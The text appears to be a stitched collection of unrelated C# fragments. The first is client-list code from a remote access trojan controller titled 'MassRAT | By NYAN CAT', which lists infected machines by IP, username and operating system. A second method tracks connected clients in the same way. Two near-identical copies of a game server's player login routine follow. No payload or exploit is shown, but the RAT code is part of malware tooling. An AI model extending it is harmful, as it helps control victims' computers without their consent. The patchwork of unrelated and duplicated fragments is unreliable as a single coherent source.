/// <summary> /// add client to listview /// </summary> public void AddClientToListview(SocketClient client, PacketIdentification packet) { client.ListViewItem = new ListViewItem { Tag = client, Text = client.Socket.RemoteEndPoint.ToString().Split(':')[0], }; client.Identification = packet; client.ListViewItem.SubItems.AddRange(new string[] { packet.Type.ToString(), packet.Username, packet.OperatingSystem }); this.Invoke((MethodInvoker) delegate { Interlocked.Increment(ref Configuration.ConnectedClients); lock (SafeThreading.SyncMainFormListview) { this.betterListView1.Items.Add(client.ListViewItem); this.betterListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); this.Text = $"MassRAT | By NYAN CAT | Online{Configuration.ConnectedClients}"; } }); }
public void AddClientToList(Client client, PacketIdentification packetIdentification) { client.ClientListViewItem = new ListViewItem { Tag = client, Text = client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], }; client.ClientListViewItem.SubItems.AddRange(new string[] { packetIdentification.Username, packetIdentification.OperatingSystem, packetIdentification.Version }); lock (Config.LockListViewClients) { Program.form1.clientsListView.Invoke((MethodInvoker)(() => { Program.form1.clientsListView.Items.Add(client.ClientListViewItem); Program.form1.clientsListView.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); })); } lock (Config.LockOnlineClients) { Config.OnlineClients.Add(client); } }
void ProcessLogin(PacketIdentification packet) { if (IsLoggedIn) { return; } this.Username = packet.Username; if (Server.IPBans.ToArray().ContainsIgnoreCase(IP.ToString()) || Server.UsernameBans.ToArray().ContainsIgnoreCase(packet.Username)) { Kick("You are banned : " + GetBanReason(packet.Username) ?? ""); return; } //TODO: temp bans if (!IsValidAccount(this, packet.VerificationKey)) { Kick("Account could not be verified."); return; } IsValidated = true; if (!IsValidUsername(packet.Username)) { Kick("Invalid Username"); } if (Server.Players.Count >= ServerSettings.GetSettingInt("maxplayers")) { Kick("Server is full. Please try again later."); return; } Player p; if ((p = Find(Username)) != null) { p.Kick("Logged in somewhere else"); return; } IsLoggedIn = true; // --------- Player is logged in and validated --------------// Logger.Log(string.Format("{0} logged in as {1}.", IP, Username)); SendMessageToAllPlayersF("&3{0} has joined the server", Username); try { Server.IRC.SendMessage(string.Format("{0} Joined the server", Username)); } catch { } foreach (var group in PlayerGroup.Groups) { if (group.Players.Contains(Username)) { this.Group = group; break; } } SendMOTD(); PlayerID = GetNextFreeID(); Level = Server.Mainlevel; // ------------- Player is Connected, and map is loaded -----------// CurrentPosition = new Vector3S() { x = (short)((.5 + Level.SpawnPos.x) * PlayerConstants.PIXEL_TO_METER_RATIO), y = (short)((1 + Level.SpawnPos.y) * PlayerConstants.PIXEL_TO_METER_RATIO), z = (short)((.5 + Level.SpawnPos.z) * PlayerConstants.PIXEL_TO_METER_RATIO), }; CurrentPitch = Level.SpawnRot[0]; CurrentYaw = Level.SpawnRot[1]; OldPosition = CurrentPosition; OldPitch = CurrentPitch; OldYaw = CurrentYaw; SpawnEntity(this); GlobalSpawnEntity(this); UpdateEntities(); }
void ProcessLogin(PacketIdentification packet) { if ( IsLoggedIn ) { return; } this.Username = packet.Username; if ( Server.IPBans.ToArray().ContainsIgnoreCase(IP.ToString()) || Server.UsernameBans.ToArray().ContainsIgnoreCase(packet.Username) ) { Kick("You are banned : " + GetBanReason(packet.Username) ?? ""); return; } //TODO: temp bans if ( !IsValidAccount(this, packet.VerificationKey) ) { Kick("Account could not be verified."); return; } IsValidated = true; if ( !IsValidUsername(packet.Username) ) { Kick("Invalid Username"); } if ( Server.Players.Count >= ServerSettings.GetSettingInt("maxplayers") ) { Kick("Server is full. Please try again later."); return; } Player p; if ( ( p = Find(Username) ) != null ) { p.Kick("Logged in somewhere else"); return; } IsLoggedIn = true; // --------- Player is logged in and validated --------------// Logger.Log(string.Format("{0} logged in as {1}.", IP, Username)); SendMessageToAllPlayersF("&3{0} has joined the server", Username); try { Server.IRC.SendMessage(string.Format("{0} Joined the server", Username)); } catch { } foreach ( var group in PlayerGroup.Groups ) { if ( group.Players.Contains(Username) ) { this.Group = group; break; } } SendMOTD(); PlayerID = GetNextFreeID(); Level = Server.Mainlevel; // ------------- Player is Connected, and map is loaded -----------// CurrentPosition = new Vector3S() { x = (short)( ( .5 + Level.SpawnPos.x ) * PlayerConstants.PIXEL_TO_METER_RATIO ), y = (short)( ( 1 + Level.SpawnPos.y ) * PlayerConstants.PIXEL_TO_METER_RATIO ), z = (short)( ( .5 + Level.SpawnPos.z ) * PlayerConstants.PIXEL_TO_METER_RATIO ), }; CurrentPitch = Level.SpawnRot[0]; CurrentYaw = Level.SpawnRot[1]; OldPosition = CurrentPosition; OldPitch = CurrentPitch; OldYaw = CurrentYaw; SpawnEntity(this); GlobalSpawnEntity(this); UpdateEntities(); }